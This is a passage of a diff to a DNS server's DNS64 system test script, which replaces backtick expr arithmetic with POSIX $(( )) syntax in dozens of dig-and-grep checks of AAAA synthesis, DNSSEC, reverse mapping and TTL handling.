 grep "CNAME	a-not-mapped.example." dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking NODATA AAAA via CNAME from non-client lookup works ($n)"
 ret=0
@@ -895,18 +899,18 @@ $DIG $DIGOPTS cname-mx-only.example. @10.53.0.2 -b 10.53.0.3 aaaa > dig.out.ns2.
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 grep "CNAME	mx-only.example." dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-existent AAAA via CNAME from non-client lookup works ($n)"
 ret=0
 $DIG $DIGOPTS cname-non-existent.example. @10.53.0.2 -b 10.53.0.3 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Check the signed. domain
 
@@ -915,152 +919,152 @@ ret=0
 $DIG $DIGOPTS aaaa-only.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA lookup is signed zone works ($n)"
 ret=0
 $DIG $DIGOPTS excluded-only.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded AAAA and non-mapped A lookup is signed zone works ($n)"
 ret=0
 $DIG $DIGOPTS excluded-bad-a.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA and mapped A lookup is signed zone works ($n)"
 ret=0
 $DIG $DIGOPTS excluded-good-a.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:aaaa::102:304" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA only lookup is signed zone works ($n)"
 ret=0
 $DIG $DIGOPTS aaaa-only.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A only lookup is signed zone works ($n)"
 ret=0
 $DIG $DIGOPTS a-only.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:aaaa::102:305" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A and AAAA lookup is signed zone works ($n)"
 ret=0
 $DIG $DIGOPTS a-and-aaaa.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-mapped A lookup is signed zone works ($n)"
 ret=0
 $DIG $DIGOPTS a-not-mapped.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 0" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking NODATA AAAA lookup is signed zone works ($n)"
 ret=0
 $DIG $DIGOPTS mx-only.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 0" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-existent AAAA lookup is signed zone works ($n)"
 ret=0
 $DIG $DIGOPTS non-existent.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-excluded AAAA via CNAME lookup is signed zone works ($n)"
 ret=0
 $DIG $DIGOPTS cname-aaaa-only.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA via CNAME lookup is signed zone works ($n)"
 ret=0
 $DIG $DIGOPTS cname-excluded-only.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded AAAA and non-mapped A via CNAME lookup is signed zone works ($n)"
 ret=0
 $DIG $DIGOPTS cname-excluded-bad-a.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA and mapped A via CNAME lookup is signed zone works ($n)"
 ret=0
 $DIG $DIGOPTS cname-excluded-good-a.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:aaaa::102:304" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA only via CNAME lookup is signed zone works ($n)"
 ret=0
 $DIG $DIGOPTS cname-aaaa-only.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A only via CNAME lookup is signed zone works ($n)"
 ret=0
 $DIG $DIGOPTS cname-a-only.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:aaaa::102:305" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A and AAAA via CNAME lookup is signed zone works ($n)"
 ret=0
 $DIG $DIGOPTS cname-a-and-aaaa.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-mapped A via CNAME lookup is signed zone works ($n)"
 ret=0
@@ -1068,9 +1072,9 @@ $DIG $DIGOPTS cname-a-not-mapped.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 grep "CNAME	a-not-mapped.signed." dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking NODATA AAAA via CNAME lookup is signed zone works ($n)"
 ret=0
@@ -1078,18 +1082,18 @@ $DIG $DIGOPTS cname-mx-only.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.t
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
 grep "CNAME	mx-only.signed." dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-existent AAAA via CNAME lookup is signed zone works ($n)"
 ret=0
 $DIG $DIGOPTS cname-non-existent.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # Check the signed. domain
 echo_i "checking non-excluded AAAA lookup is signed zone works with +dnssec ($n)"
@@ -1097,134 +1101,134 @@ ret=0
 $DIG $DIGOPTS +dnssec aaaa-only.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA lookup is signed zone works with +dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +dnssec excluded-only.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:eeee::3" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded AAAA and non-mapped A lookup is signed zone works with +dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +dnssec excluded-bad-a.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:eeee::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA and mapped A lookup is signed zone works with +dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +dnssec excluded-good-a.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:eeee::1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA only lookup is signed zone works with +dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +dnssec aaaa-only.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A only lookup is signed zone works with +dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +dnssec a-only.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 0," dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A and AAAA lookup is signed zone works with +dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +dnssec a-and-aaaa.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-mapped A lookup is signed zone works with +dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +dnssec a-not-mapped.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 0" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking NODATA AAAA lookup is signed zone works with +dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +dnssec mx-only.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 0" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-existent AAAA lookup is signed zone works with +dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +dnssec non-existent.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-excluded AAAA via CNAME lookup is signed zone works with +dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +dnssec cname-aaaa-only.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA via CNAME lookup is signed zone works with +dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +dnssec cname-excluded-only.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:eeee::3" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded AAAA and non-mapped A via CNAME lookup is signed zone works with +dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +dnssec cname-excluded-bad-a.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:eeee::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking excluded only AAAA and mapped A via CNAME lookup is signed zone works with +dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +dnssec cname-excluded-good-a.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:eeee::1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking AAAA only via CNAME lookup is signed zone works with +dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +dnssec cname-aaaa-only.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::2" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A only via CNAME lookup is signed zone works with +dnssec ($n)"
 ret=0
@@ -1232,18 +1236,18 @@ $DIG $DIGOPTS +dnssec cname-a-only.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.ou
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 2," dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001:aaaa::102:305" dig.out.ns2.test$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking A and AAAA via CNAME lookup is signed zone works with +dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +dnssec cname-a-and-aaaa.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "2001::1" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-mapped A via CNAME lookup is signed zone works with +dnssec ($n)"
 ret=0
@@ -1251,9 +1255,9 @@ $DIG $DIGOPTS +dnssec cname-a-not-mapped.signed. @10.53.0.2 -b 10.53.0.2 aaaa >
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 2" dig.out.ns2.test$n > /dev/null || ret=1
 grep "CNAME	a-not-mapped.signed." dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking NODATA AAAA via CNAME lookup is signed zone works with +dnssec ($n)"
 ret=0
@@ -1261,43 +1265,43 @@ $DIG $DIGOPTS +dnssec cname-mx-only.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.o
 grep "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 2," dig.out.ns2.test$n > /dev/null || ret=1
 grep "CNAME	mx-only.signed." dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking non-existent AAAA via CNAME lookup is signed zone works with +dnssec ($n)"
 ret=0
 $DIG $DIGOPTS +dnssec cname-non-existent.signed. @10.53.0.2 -b 10.53.0.2 aaaa > dig.out.ns2.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns2.test$n > /dev/null || ret=1
 grep "ANSWER: 2," dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking reverse mapping ($n)"
 ret=0
 $DIG $DIGOPTS -x 2001:aaaa::10.0.0.1 @10.53.0.2 > dig.out.ns2.test$n || ret=1
 grep -i "CNAME.1.0.0.10.IN-ADDR.ARPA.$" dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-list=`$DIG $DIGOPTS -b 10.53.0.6 @10.53.0.2 +short aaaa a-only.example | sort`
+list=$($DIG $DIGOPTS -b 10.53.0.6 @10.53.0.2 +short aaaa a-only.example | sort)
 for a in $list
 do
 	ret=0
 	echo_i "checking reverse mapping of $a ($n)"
 	$DIG $DIGOPTS -x $a @10.53.0.2 > dig.out.ns2.test$n || ret=1
 	grep -i "CNAME.5.3.2.1.IN-ADDR.ARPA." dig.out.ns2.test$n > /dev/null || ret=1
-	n=`expr $n + 1`
+	n=$((n + 1))
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
+	status=$((status + ret))
 done
 
-rev=`$ARPANAME 2001:aaaa::10.0.0.1`
+rev=$($ARPANAME 2001:aaaa::10.0.0.1)
 regex='..\(.*.IP6.ARPA\)'
-rev=`expr "${rev}" : "${regex}"`
-fin=`expr "${rev}" : "............${regex}"`
+rev=$(expr "${rev}" : "${regex}")
+fin=$(expr "${rev}" : "............${regex}")
 while test "${rev}" != "${fin}"
 do
 	ret=0
@@ -1305,107 +1309,107 @@ do
 	$DIG $DIGOPTS $rev ptr @10.53.0.2 > dig.out.ns2.test$n || ret=1
 	grep -i "status: NOERROR" dig.out.ns2.test$n > /dev/null || ret=1
 	grep -i "ANSWER: 0," dig.out.ns2.test$n > /dev/null || ret=1
-	n=`expr $n + 1`
+	n=$((n + 1))
 	if [ $ret != 0 ]; then echo_i "failed"; fi
-	status=`expr $status + $ret`
-	rev=`expr "${rev}" : "${regex}"`
+	status=$((status + ret))
+	rev=$(expr "${rev}" : "${regex}")
 done
 
 echo_i "checking dns64-server and dns64-contact ($n)"
 ret=0
 $DIG $DIGOPTS soa 0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.a.a.a.a.1.0.0.2.ip6.arpa @10.53.0.2 > dig.out.ns2.test$n || ret=1
 grep "SOA.dns64.example.net..hostmaster.example.net." dig.out.ns2.test$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking TTL less than 600 from zone ($n)"
 ret=0
 #expect 500
 $DIG $DIGOPTS aaaa ttl-less-than-600.example +rec @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep -i "ttl-less-than-600.example..500.IN.AAAA" dig.out.ns1.test$n >/dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking TTL more than 600 from zone ($n)"
 ret=0
 #expect 700
 $DIG $DIGOPTS aaaa ttl-more-than-600.example +rec @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep -i "ttl-more-than-600.example..700.IN.AAAA" dig.out.ns1.test$n >/dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking TTL less than minimum from zone ($n)"
 ret=0
 #expect 1100
 $DIG $DIGOPTS aaaa ttl-less-than-minimum.example +rec @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep -i "ttl-less-than-minimum.example..1100.IN.AAAA" dig.out.ns1.test$n >/dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking TTL limited to minimum from zone ($n)"
 ret=0
 #expect 1200
 $DIG $DIGOPTS aaaa ttl-more-than-minimum.example +rec @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep -i "ttl-more-than-minimum.example..1200.IN.AAAA" dig.out.ns1.test$n >/dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking TTL less than 600 via cache ($n)"
 ret=0
 #expect 500
 $DIG $DIGOPTS aaaa ttl-less-than-600.example +rec -b 10.53.0.2 @10.53.0.2 > dig.out.ns1.test$n || ret=1
 grep -i "ttl-less-than-600.example..500.IN.AAAA" dig.out.ns1.test$n >/dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking TTL more than 600 via cache ($n)"
 ret=0
 #expect 700
 $DIG $DIGOPTS aaaa ttl-more-than-600.example +rec -b 10.53.0.2 @10.53.0.2 > dig.out.ns2.test$n || ret=1
 grep -i "ttl-more-than-600.example..700.IN.AAAA" dig.out.ns2.test$n >/dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking TTL less than minimum via cache ($n)"
 ret=0
 #expect 1100
 $DIG $DIGOPTS aaaa ttl-less-than-minimum.example +rec -b 10.53.0.2 @10.53.0.2 > dig.out.ns2.test$n || ret=1
 grep -i "ttl-less-than-minimum.example..1100.IN.AAAA" dig.out.ns2.test$n >/dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking TTL limited to minimum via cache ($n)"
 ret=0
 #expect 1200
 $DIG $DIGOPTS aaaa ttl-more-than-minimum.example +rec -b 10.53.0.2 @10.53.0.2 > dig.out.ns2.test$n || ret=1
 grep -i "ttl-more-than-minimum.example..1200.IN.AAAA" dig.out.ns2.test$n >/dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking synthesis of AAAA from RPZ-remapped A ($n)"
 ret=0
 $DIG $DIGOPTS aaaa rpz.example +rec -b 10.53.0.7 @10.53.0.2 > dig.out.ns2.test$n || ret=1
 grep -i 'rpz.example.*IN.AAAA.2001:96::a0a:a0a' dig.out.ns2.test$n >/dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking 'dig +dns64prefix' ($n)"
 $DIG $DIGOPTS +dns64prefix @10.53.0.1 > dig.out.ns1.test$n || ret=1
 grep '^2001:bbbb::/96$' dig.out.ns1.test$n > /dev/null || ret=1
 test $(wc -l < dig.out.ns1.test$n) -eq 1 || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
